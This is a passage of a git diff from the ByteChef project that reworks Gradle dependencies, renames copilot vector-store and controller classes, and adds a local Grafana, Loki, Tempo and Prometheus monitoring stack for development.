     implementation("org.springframework.cloud:spring-cloud-starter-loadbalancer")
@@ -40,17 +39,15 @@ dependencies {
     implementation(project(":server:libs:platform:platform-file-storage:platform-file-storage-impl"))
     implementation(project(":server:libs:platform:platform-component:platform-component-api"))
     implementation(project(":server:libs:platform:platform-component:platform-component-context:platform-component-context-service"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-service"))
     implementation(project(":server:libs:platform:platform-component:platform-component-service"))
     implementation(project(":server:libs:platform:platform-worker"))
-    implementation(project(":server:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-api"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-impl"))
 
     run {
         rootProject.subprojects
             .asSequence()
             .filter { it.path.startsWith(":server:libs:modules:components") }
-            .filterNot { it.path in setOf(":server:libs:modules:components:data-stream", ":server:libs:modules:components:example") }
+            .filterNot { it.path in setOf(":server:libs:modules:components:ai:llm:amazon-bedrock", ":server:libs:modules:components:data-stream", ":server:libs:modules:components:example") }
             .sortedBy { it.path }
             .forEach { implementation(project(it.path)) }
     }
@@ -64,7 +61,6 @@ dependencies {
     implementation(project(":server:ee:libs:platform:platform-configuration:platform-configuration-remote-client"))
     implementation(project(":server:ee:libs:platform:platform-connection:platform-connection-remote-client"))
     implementation(project(":server:ee:libs:platform:platform-data-storage:platform-data-storage-jdbc:platform-data-storage-jdbc-remote-client"))
-    implementation(project(":server:ee:libs:automation:automation-data-table:automation-data-table-remote-client"))
     implementation(project(":server:ee:libs:platform:platform-scheduler:platform-scheduler-remote-client"))
     implementation(project(":server:ee:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-remote-rest"))
 
diff --git a/server/ee/apps/worker-app/src/main/java/com/bytechef/worker/config/EvaluatorConfiguration.java b/server/ee/apps/worker-app/src/main/java/com/bytechef/worker/config/EvaluatorConfiguration.java
index dfb53855cf2..2de42f6cdc4 100644
--- a/server/ee/apps/worker-app/src/main/java/com/bytechef/worker/config/EvaluatorConfiguration.java
+++ b/server/ee/apps/worker-app/src/main/java/com/bytechef/worker/config/EvaluatorConfiguration.java
@@ -9,7 +9,6 @@
 
 import com.bytechef.evaluator.Evaluator;
 import com.bytechef.evaluator.SpelEvaluator;
-import com.bytechef.platform.workflow.worker.ai.FromAi;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 
@@ -23,8 +22,6 @@ public class EvaluatorConfiguration {
 
     @Bean
     Evaluator evaluator() {
-        return SpelEvaluator.builder()
-            .methodExecutor("fromAi", new FromAi())
-            .build();
+        return SpelEvaluator.create();
     }
 }
diff --git a/server/ee/docker/grafana/grafana.ini b/server/ee/docker/grafana/grafana.ini
new file mode 100644
index 00000000000..d26318c5a43
--- /dev/null
+++ b/server/ee/docker/grafana/grafana.ini
@@ -0,0 +1,10 @@
+[feature_toggles]
+enable = tempoSearch tempoBackendSearch tempoApmTable traceToMetrics
+
+[users]
+default_theme = light
+
+[smtp]
+enabled = true
+host = host.docker.internal:25
+skip_verify = true
diff --git a/server/ee/docker/grafana/provisioning/grafana-dashboards/dashboard.yml b/server/ee/docker/grafana/provisioning/grafana-dashboards/dashboard.yml
new file mode 100644
index 00000000000..31d21dbf56b
--- /dev/null
+++ b/server/ee/docker/grafana/provisioning/grafana-dashboards/dashboard.yml
@@ -0,0 +1,10 @@
+apiVersion: 1
+
+providers:
+    - name: dashboards
+      type: file
+      disableDeletion: true
+      editable: true
+      options:
+          path: /etc/grafana/provisioning/dashboards
+          foldersFromFilesStructure: true
diff --git a/server/ee/docker/grafana/provisioning/grafana-dashboards/logs_traces_metrics.json b/server/ee/docker/grafana/provisioning/grafana-dashboards/logs_traces_metrics.json
new file mode 100644
index 00000000000..7585b46bf41
--- /dev/null
+++ b/server/ee/docker/grafana/provisioning/grafana-dashboards/logs_traces_metrics.json
@@ -0,0 +1,224 @@
+{
+    "annotations": {
+        "list": [
+            {
+                "builtIn": 1,
+                "datasource": {
+                    "type": "grafana",
+                    "uid": "-- Grafana --"
+                },
+                "enable": true,
+                "hide": true,
+                "iconColor": "rgba(0, 211, 255, 1)",
+                "name": "Annotations & Alerts",
+                "target": {
+                    "limit": 100,
+                    "matchAny": false,
+                    "tags": [],
+                    "type": "dashboard"
+                },
+                "type": "dashboard"
+            }
+        ]
+    },
+    "editable": true,
+    "fiscalYearStartMonth": 0,
+    "graphTooltip": 0,
+    "id": 3,
+    "links": [],
+    "liveNow": false,
+    "panels": [
+        {
+            "datasource": {
+                "type": "loki",
+                "uid": "loki"
+            },
+            "description": "",
+            "gridPos": {
+                "h": 10,
+                "w": 23,
+                "x": 0,
+                "y": 0
+            },
+            "id": 2,
+            "options": {
+                "dedupStrategy": "none",
+                "enableLogDetails": true,
+                "prettifyLogMessage": true,
+                "showCommonLabels": true,
+                "showLabels": true,
+                "showTime": true,
+                "sortOrder": "Ascending",
+                "wrapLogMessage": true
+            },
+            "targets": [
+                {
+                    "datasource": {
+                        "type": "loki",
+                        "uid": "loki"
+                    },
+                    "editorMode": "builder",
+                    "expr": "{app=~\".+\"} |= `$traceId`",
+                    "queryType": "range",
+                    "refId": "A"
+                }
+            ],
+            "title": "Logs with trace ID $traceId",
+            "type": "logs"
+        },
+      {
+        "datasource": {
+          "type": "prometheus",
+          "uid": "prometheus"
+        },
+        "fieldConfig": {
+          "defaults": {
+            "color": {
+              "mode": "palette-classic"
+            },
+            "custom": {
+              "axisBorderShow": false,
+              "axisCenteredZero": false,
+              "axisColorMode": "text",
+              "axisLabel": "",
+              "axisPlacement": "auto",
+              "barAlignment": 0,
+              "drawStyle": "line",
+              "fillOpacity": 0,
+              "gradientMode": "none",
+              "hideFrom": {
+                "legend": false,
+                "tooltip": false,
+                "viz": false
+              },
+              "insertNulls": false,
+              "lineInterpolation": "linear",
+              "lineWidth": 1,
+              "pointSize": 5,
+              "scaleDistribution": {
+                "type": "linear"
+              },
+              "showPoints": "auto",
+              "spanNulls": false,
+              "stacking": {
+                "group": "A",
+                "mode": "none"
+              },
+              "thresholdsStyle": {
+                "mode": "off"
+              }
+            },
+            "mappings": [],
+            "thresholds": {
+              "mode": "absolute",
+              "steps": [
+                {
+                  "color": "green",
+                  "value": null
+                },
+                {
+                  "color": "red",
+                  "value": 80
+                }
+              ]
+            },
+            "unit": "ms"
+          },
+          "overrides": []
+        },
+        "gridPos": {
+          "h": 10,
+          "w": 23,
+          "x": 0,
+          "y": 25
+        },
+        "id": 4,
+        "options": {
+          "legend": {
+            "calcs": [],
+            "displayMode": "list",
+            "placement": "bottom",
+            "showLegend": true
+          },
+          "tooltip": {
+            "mode": "single",
+            "sort": "none"
+          }
+        },
+        "targets": [
+          {
+            "datasource": {
+              "type": "prometheus",
+              "uid": "prometheus"
+            },
+            "editorMode": "code",
+            "exemplar": true,
+            "expr": "histogram_quantile(1.00, sum(rate(http_server_requests_milliseconds_bucket{uri=~\".*\"}[$__rate_interval])) by (le))",
+            "legendFormat": "max",
+            "range": true,
+            "refId": "A"
+          },
+          {
+            "datasource": {
+              "type": "prometheus",
+              "uid": "prometheus"
+            },
+            "editorMode": "code",
+            "exemplar": true,
+            "expr": "histogram_quantile(0.99, sum(rate(http_server_requests_milliseconds_bucket{uri=~\".*\"}[$__rate_interval])) by (le))",
+            "hide": false,
+            "legendFormat": "tp99",
+            "range": true,
+            "refId": "B"
+          },
+          {
+            "datasource": {
+              "type": "prometheus",
+              "uid": "prometheus"
+            },
+            "editorMode": "code",
+            "exemplar": true,
+            "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_milliseconds_bucket{uri=~\".*\"}[$__rate_interval])) by (le))",
+            "hide": false,
+            "legendFormat": "tp95",
+            "range": true,
+            "refId": "C"
+          }
+        ],
+        "title": "latency for All",
+        "type": "timeseries"
+      }
+    ],
+    "schemaVersion": 1,
+    "tags": [],
+    "templating": {
+        "list": [
+            {
+                "current": {
+                    "selected": false
+                },
+                "description": "Trace Id",
+                "hide": 0,
+                "includeAll": false,
+                "label": "Trace ID",
+                "multi": false,
+                "name": "traceId",
+                "options": [],
+                "query": "",
+                "queryValue": "",
+                "skipUrlSync": false,
+                "type": "custom"
+            }
+        ]
+    },
+    "time": {
+        "from": "now-15m",
+        "to": "now"
+    },
+    "timepicker": {},
+    "timezone": "",
+    "title": "Logs & Metrics",
+    "uid": "edz2d9w1so8aoa",
+    "version": 1,
+    "weekStart": ""
+}
diff --git a/server/ee/docker/grafana/provisioning/grafana-datasources/datasource.yml b/server/ee/docker/grafana/provisioning/grafana-datasources/datasource.yml
new file mode 100644
index 00000000000..713a2da578a
--- /dev/null
+++ b/server/ee/docker/grafana/provisioning/grafana-datasources/datasource.yml
@@ -0,0 +1,65 @@
+apiVersion: 1
+
+datasources:
+  - name: Prometheus
+    type: prometheus
+    access: proxy
+    url: http://host.docker.internal:9090
+    editable: false
+    jsonData:
+      httpMethod: POST
+      exemplarTraceIdDestinations:
+        - name: trace_id
+          datasourceUid: tempo
+  - name: Tempo
+    type: tempo
+    access: proxy
+    orgId: 1
+    url: http://host.docker.internal:3200
+    basicAuth: false
+    isDefault: true
+    version: 1
+    editable: false
+    apiVersion: 1
+    uid: tempo
+    jsonData:
+      httpMethod: GET
+      tracesToLogsV2:
+        datasourceUid: 'loki'
+        spanStartTimeShift: '-1h'
+        spanEndTimeShift: '1h'
+        filterByTraceID: true
+        filterBySpanID: true
+      tracesToMetrics:
+        datasourceUid: Prometheus
+      tracesToLogs:
+        datasourceUid: loki
+        mapTagNamesEnabled: true
+        filterByTraceID: true
+        filterBySpanID: true
+        spanStartTimeShift: '-10m'
+        spanEndTimeShift: '10m'
+      lokiSearch:
+        datasourceUid: loki
+      serviceMap:
+        datasourceUid: Prometheus
+      nodeGraph:
+        enabled: true
+  - name: Loki
+    type: loki
+    uid: loki
+    access: proxy
+    orgId: 1
+    url: http://host.docker.internal:3100
+    basicAuth: false
+    isDefault: false
+    version: 1
+    editable: true
+    apiVersion: 1
+    jsonData:
+      maxLines: 50
+      derivedFields:
+        - datasourceUid: tempo
+          matcherRegex: '.+ --- \[.+\] \[.+\] \[(\w*)-\w*\] .+'
+          name: TraceID
+          url: $${__value.raw}
diff --git a/server/ee/docker/loki/loki-dev.yml b/server/ee/docker/loki/loki-dev.yml
new file mode 100644
index 00000000000..7fc3a52fc27
--- /dev/null
+++ b/server/ee/docker/loki/loki-dev.yml
@@ -0,0 +1,41 @@
+auth_enabled: false
+
+server:
+  http_listen_port: 3100
+
+common:
+  instance_addr: 127.0.0.1
+  path_prefix: /loki
+  storage:
+    filesystem:
+      chunks_directory: /loki/chunks
+      rules_directory: /loki/rules
+  replication_factor: 1
+  ring:
+    kvstore:
+      store: inmemory
+
+schema_config:
+  configs:
+    -   from: 2024-12-01
+        store: tsdb
+        object_store: filesystem
+        schema: v13
+        index:
+          prefix: index_
+          period: 24h
+
+
+limits_config:
+  max_global_streams_per_user: 0
+  max_cache_freshness_per_query: '10m'
+  # reject_old_samples: true
+  # reject_old_samples_max_age: 90m
+  ingestion_rate_mb: 20
+  ingestion_burst_size_mb: 40
+  # parallelize queries in 15min intervals
+  # split_queries_by_interval: 15m
+  # volume_enabled: true
+
+#ruler:
+#  alertmanager_url: http://localhost:9093
diff --git a/server/ee/docker/monitoring.yml b/server/ee/docker/monitoring.yml
index f8651e40fa8..72b2e82d8f9 100644
--- a/server/ee/docker/monitoring.yml
+++ b/server/ee/docker/monitoring.yml
@@ -1,9 +1,68 @@
 # This configuration is intended for development purpose
 name: bytechef-monitoring
 services:
-  grafana-lgtm:
-    image: 'grafana/otel-lgtm:latest'
+  prometheus:
+    image: prom/prometheus:v3.0.1
+    extra_hosts: [ 'host.docker.internal:host-gateway' ]
+    volumes:
+      - prometheus:/prometheus
+      - ./prometheus/:/etc/prometheus/
+    command:
+      - --enable-feature=exemplar-storage
+      - --enable-feature=otlp-write-receiver
+      - --web.enable-remote-write-receiver
+      - --config.file=/etc/prometheus/prometheus-${profile:-dev}.yml
     ports:
-      - '3000:3000' # UI
-      - '4317:4317'
-      - '4318:4318'
+      - 9090:9090
+
+  loki:
+    image: grafana/loki:3.2.2
+    extra_hosts: [ 'host.docker.internal:host-gateway' ]
+    volumes:
+      - ./loki/:/etc/loki/
+    command:
+      - --config.file=/etc/loki/loki-${profile:-dev}.yml
+    ports:
+      - 3100:3100
+
+  tempo-init: # See: https://github.com/grafana/tempo/issues/1657#issuecomment-2300351643
+    image: &tempoImage grafana/tempo:2.6.1
+    user: root
+    entrypoint:
+      - "chown"
+      - "10001:10001"
+      - "/var/tempo"
+    volumes:
+      - tempo:/var/tempo
+
+  tempo:
+    container_name: tempo
+    image: *tempoImage
+    extra_hosts: [ 'host.docker.internal:host-gateway' ]
+    command: [ '-config.file=/etc/tempo.yml' ]
+    depends_on: [ 'tempo-init' ]
+    volumes:
+      - tempo:/var/tempo
+      - ./tempo/tempo-${profile:-dev}.yml:/etc/tempo.yml
+    ports:
+      - "3200:3200"    # tempo
+      - "4318:4318"  # otlp http
+
+  grafana:
+    image: grafana/grafana:11.4.0
+    extra_hosts: [ 'host.docker.internal:host-gateway' ]
+    environment:
+      - GF_AUTH_ANONYMOUS_ENABLED=true
+      - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin
+      - GF_AUTH_DISABLE_LOGIN_FORM=true
+    volumes:
+      - ./grafana/grafana.ini:/etc/grafana/grafana.ini
+      - ./grafana/provisioning/grafana-datasources:/etc/grafana/provisioning/datasources
+      - ./grafana/provisioning/grafana-dashboards:/etc/grafana/provisioning/dashboards
+    ports:
+      - 3000:3000
+volumes:
+  prometheus:
+    driver: local
+  tempo:
+    driver: local
diff --git a/server/ee/docker/prometheus/prometheus-dev.yml b/server/ee/docker/prometheus/prometheus-dev.yml
new file mode 100644
index 00000000000..56b829a146c
--- /dev/null
+++ b/server/ee/docker/prometheus/prometheus-dev.yml
@@ -0,0 +1,14 @@
+global:
+  scrape_interval: 15s # By default, scrape targets every 15 seconds.
+  evaluation_interval: 15s # By default, scrape targets every 15 seconds.
+
+  # Attach these labels to any time series or alerts when communicating with
+  # external systems (federation, remote storage, Alertmanager).
+  external_labels:
+    monitor: 'bytechef'
+
+scrape_configs:
+  - job_name: 'bytechef'
+    metrics_path: '/actuator/prometheus'
+    static_configs:
+      - targets: ['host.docker.internal:9555']
diff --git a/server/ee/docker/tempo/tempo-dev.yml b/server/ee/docker/tempo/tempo-dev.yml
new file mode 100644
index 00000000000..c32637339fd
--- /dev/null
+++ b/server/ee/docker/tempo/tempo-dev.yml
@@ -0,0 +1,23 @@
+server:
+  http_listen_port: 3200
+distributor:
+  receivers:
+    otlp:
+      protocols:
+        http:
+storage:
+  trace:
+    backend: local
+    local:
+      path: /tmp/tempo/blocks
+metrics_generator:
+  registry:
+    external_labels:
+      source: tempo
+  storage:
+    path: /tmp/tempo/generator/wal
+    remote_write:
+      - url: http://host.docker.internal:9090/api/v1/write
+        send_exemplars: true
+overrides:
+  metrics_generator_processors: [service-graphs, span-metrics]
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/CopilotVectorStore.java b/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/CopilotVectorStore.java
deleted file mode 100644
index 244b82e2ef2..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/CopilotVectorStore.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.domain;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.UUID;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.relational.core.mapping.Column;
-import org.springframework.data.relational.core.mapping.Table;
-
-/**
- * @version ee
- *
- * @author Marko Kriskovic
- */
-@Table("copilot_vector_store")
-@SuppressFBWarnings("EI")
-public class CopilotVectorStore {
-
-    @Id
-    private UUID id;
-
-    @Column
-    private String content;
-
-    @Column
-    private Map<String, Object> metadata;
-
-    @Column
-    private List<Double> embedding;
-
-    public CopilotVectorStore(UUID id, String content, Map<String, Object> metadata, List<Double> embedding) {
-        this.id = id;
-        this.content = content;
-        this.metadata = metadata;
-        this.embedding = embedding;
-    }
-
-    public UUID getId() {
-        return id;
-    }
-
-    public void setId(UUID id) {
-        this.id = id;
-    }
-
-    public String getContent() {
-        return content;
-    }
-
-    public void setContent(String content) {
-        this.content = content;
-    }
-
-    public Map<String, Object> getMetadata() {
-        return metadata;
-    }
-
-    public void setMetadata(Map<String, Object> metadata) {
-        this.metadata = metadata;
-    }
-
-    public List<Double> getEmbedding() {
-        return embedding;
-    }
-
-    public void setEmbedding(List<Double> embedding) {
-        this.embedding = embedding;
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (o == null || getClass() != o.getClass()) {
-            return false;
-        }
-
-        CopilotVectorStore that = (CopilotVectorStore) o;
-
-        return Objects.equals(id, that.id) && Objects.equals(content, that.content)
-            && Objects.equals(metadata, that.metadata) && Objects.equals(embedding, that.embedding);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id, content, metadata, embedding);
-    }
-
-    @Override
-    public String toString() {
-        return "VectorStore{" +
-            "id=" + id +
-            ", content='" + content + '\'' +
-            ", metadata=" + metadata +
-            ", embedding=" + embedding +
-            '}';
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/VectorStore.java b/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/VectorStore.java
new file mode 100644
index 00000000000..c48421c2b6e
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-api/src/main/java/com/bytechef/ee/ai/copilot/domain/VectorStore.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.domain;
+
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.UUID;
+import org.springframework.data.annotation.Id;
+import org.springframework.data.relational.core.mapping.Column;
+import org.springframework.data.relational.core.mapping.Table;
+
+/**
+ * @version ee
+ *
+ * @author Marko Kriskovic
+ */
+@Table("vector_store")
+@SuppressFBWarnings("EI")
+public class VectorStore {
+
+    @Id
+    private UUID id;
+
+    @Column
+    private String content;
+
+    @Column
+    private Map<String, Object> metadata;
+
+    @Column
+    private List<Double> embedding;
+
+    public VectorStore(UUID id, String content, Map<String, Object> metadata, List<Double> embedding) {
+        this.id = id;
+        this.content = content;
+        this.metadata = metadata;
+        this.embedding = embedding;
+    }
+
+    public UUID getId() {
+        return id;
+    }
+
+    public void setId(UUID id) {
+        this.id = id;
+    }
+
+    public String getContent() {
+        return content;
+    }
+
+    public void setContent(String content) {
+        this.content = content;
+    }
+
+    public Map<String, Object> getMetadata() {
+        return metadata;
+    }
+
+    public void setMetadata(Map<String, Object> metadata) {
+        this.metadata = metadata;
+    }
+
+    public List<Double> getEmbedding() {
+        return embedding;
+    }
+
+    public void setEmbedding(List<Double> embedding) {
+        this.embedding = embedding;
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (o == null || getClass() != o.getClass()) {
+            return false;
+        }
+
+        VectorStore that = (VectorStore) o;
+
+        return Objects.equals(id, that.id) && Objects.equals(content, that.content)
+            && Objects.equals(metadata, that.metadata) && Objects.equals(embedding, that.embedding);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(id, content, metadata, embedding);
+    }
+
+    @Override
+    public String toString() {
+        return "VectorStore{" +
+            "id=" + id +
+            ", content='" + content + '\'' +
+            ", metadata=" + metadata +
+            ", embedding=" + embedding +
+            '}';
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/AiCopilotApiController.java b/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/AiCopilotApiController.java
new file mode 100644
index 00000000000..1e63ecc3025
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/AiCopilotApiController.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.web.rest;
+
+import com.agui.server.LocalAgent;
+import com.agui.server.spring.AgUiParameters;
+import com.agui.server.spring.AgUiService;
+import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.util.List;
+import java.util.Map;
+import java.util.stream.Collectors;
+import org.jspecify.annotations.NonNull;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.validation.annotation.Validated;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.servlet.mvc.method.annotation.SseEmitter;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@RestController
+@RequestMapping("${openapi.openAPIDefinition.base-path.platform:}/internal")
+@ConditionalOnCoordinator
+@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
+public class AiCopilotApiController {
+
+    private final Map<String, LocalAgent> localAgentMap;
+    private final AgUiService agUiService;
+
+    @SuppressFBWarnings("EI")
+    public AiCopilotApiController(AgUiService agUiService, List<LocalAgent> localAgents) {
+        this.agUiService = agUiService;
+        this.localAgentMap = localAgents.stream()
+            .collect(Collectors.toMap(LocalAgent::getAgentId, localAgent -> localAgent));
+    }
+
+    @Validated
+    @PostMapping(value = "/ai/chat/{agentId}")
+    public SseEmitter chat(
+        @NonNull @PathVariable("agentId") String agentId, @NonNull @RequestBody() AgUiParameters agUiParameters) {
+
+        LocalAgent localAgent = localAgentMap.get(agentId);
+
+        return this.agUiService.runAgent(localAgent, agUiParameters);
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/CopilotApiController.java b/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/CopilotApiController.java
deleted file mode 100644
index 26aea9d579f..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-rest/src/main/java/com/bytechef/ee/ai/copilot/web/rest/CopilotApiController.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.web.rest;
-
-import com.agui.server.LocalAgent;
-import com.agui.server.spring.AgUiParameters;
-import com.agui.server.spring.AgUiService;
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Collectors;
-import org.jspecify.annotations.NonNull;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.validation.annotation.Validated;
-import org.springframework.web.bind.annotation.PathVariable;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestBody;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
-import org.springframework.web.servlet.mvc.method.annotation.SseEmitter;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@RestController
-@RequestMapping("${openapi.openAPIDefinition.base-path.platform:}/internal")
-@ConditionalOnCoordinator
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-public class CopilotApiController {
-
-    private final Map<String, LocalAgent> localAgentMap;
-    private final AgUiService agUiService;
-
-    @SuppressFBWarnings("EI")
-    public CopilotApiController(AgUiService agUiService, List<LocalAgent> localAgents) {
-        this.agUiService = agUiService;
-        this.localAgentMap = localAgents.stream()
-            .collect(Collectors.toMap(LocalAgent::getAgentId, localAgent -> localAgent));
-    }
-
-    @Validated
-    @PostMapping(value = "/ai/chat/{agentId}")
-    public SseEmitter chat(
-        @NonNull @PathVariable("agentId") String agentId, @NonNull @RequestBody() AgUiParameters agUiParameters) {
-
-        LocalAgent localAgent = localAgentMap.get(agentId);
-
-        return this.agUiService.runAgent(localAgent, agUiParameters);
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/build.gradle.kts b/server/ee/libs/ai/ai-copilot/ai-copilot-service/build.gradle.kts
index bbba06d77e3..f79ef5134b6 100644
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/build.gradle.kts
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/build.gradle.kts
@@ -1,100 +1,3 @@
-val copyDocs = tasks.register<Copy>("copyDocs") {
-    description = "Copies documentation files to resources"
-    group = "build"
-
-    from(rootProject.file("docs/content/docs")) {
-        include("**/*.md", "**/*.mdx")
-        exclude("reference/components/**", "reference/flow-controls/**")
-    }
-    into(layout.projectDirectory.dir("src/main/resources/docs"))
-}
-
-val copyComponentDocs = tasks.register<Copy>("copyComponentDocs") {
-    description = "Copies component README files to resources"
-    group = "build"
-
-    from(rootProject.file("server/libs/modules/components")) {
-        include("*/src/main/resources/README.md", "*/src/main/resources/README.mdx")
-        eachFile {
-            val componentName = relativePath.segments[0]
-            relativePath = RelativePath(true, "$componentName.mdx")
-        }
-        includeEmptyDirs = false
-    }
-    into(layout.projectDirectory.dir("src/main/resources/docs/reference/components"))
-}
-
-val copyEeComponentDocs = tasks.register<Copy>("copyEeComponentDocs") {
-    description = "Copies EE component README files to resources"
-    group = "build"
-
-    from(rootProject.file("server/ee/libs/modules/components")) {
-        include("*/src/main/resources/README.md", "*/src/main/resources/README.mdx")
-        eachFile {
-            val componentName = relativePath.segments[0]
-            relativePath = RelativePath(true, "$componentName.mdx")
-        }
-        includeEmptyDirs = false
-    }
-    into(layout.projectDirectory.dir("src/main/resources/docs/reference/components"))
-}
-
-val copyTaskDispatcherDocs = tasks.register<Copy>("copyTaskDispatcherDocs") {
-    description = "Copies task dispatcher README files to resources"
-    group = "build"
-
-    from(rootProject.file("server/libs/modules/task-dispatchers")) {
-        include("*/src/main/resources/README.md", "*/src/main/resources/README.mdx")
-        eachFile {
-            val dispatcherName = relativePath.segments[0]
-            relativePath = RelativePath(true, "$dispatcherName.mdx")
-        }
-        includeEmptyDirs = false
-    }
-    into(layout.projectDirectory.dir("src/main/resources/docs/reference/task-dispatchers"))
-}
-
-val copyEeTaskDispatcherDocs = tasks.register<Copy>("copyEeTaskDispatcherDocs") {
-    description = "Copies EE task dispatcher README files to resources"
-    group = "build"
-
-    from(rootProject.file("server/ee/libs/modules/task-dispatchers")) {
-        include("*/src/main/resources/README.md", "*/src/main/resources/README.mdx")
-        eachFile {
-            val dispatcherName = relativePath.segments[0]
-            relativePath = RelativePath(true, "$dispatcherName.mdx")
-        }
-        includeEmptyDirs = false
-    }
-    into(layout.projectDirectory.dir("src/main/resources/docs/reference/task-dispatchers"))
-}
-
-val copyAllDocs = tasks.register("copyAllDocs") {
-    description = "Copies all documentation files to resources"
-    group = "build"
-
-    dependsOn(copyDocs, copyComponentDocs, copyEeComponentDocs, copyTaskDispatcherDocs, copyEeTaskDispatcherDocs)
-}
-
-tasks.compileJava {
-    finalizedBy(copyAllDocs)
-}
-
-tasks.processResources {
-    dependsOn(copyAllDocs)
-}
-
-spotless {
-    json {
-        target("src/**/*.json")
-        targetExclude("src/main/resources/docs/**")
-    }
-    yaml {
-        target("src/**/*.yaml")
-        targetExclude("src/main/resources/docs/**")
-    }
-}
-
 dependencies {
     implementation(libs.com.github.mizosoft.methanol)
     implementation("org.apache.commons:commons-lang3")
@@ -116,7 +19,7 @@ dependencies {
     implementation(project(":server:libs:core:commons:commons-util"))
     implementation(project(":server:libs:platform:platform-component:platform-component-api"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-task-dispatcher:platform-workflow-task-dispatcher-api"))
-    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation-impl"))
+    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation"))
     implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-platform"))
 
     implementation(project(":server:ee:libs:ai:ai-copilot:ai-copilot-api"))
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/boot/CopilotEnvironmentPostProcessor.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/boot/CopilotEnvironmentPostProcessor.java
deleted file mode 100644
index 85ae88577d0..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/boot/CopilotEnvironmentPostProcessor.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
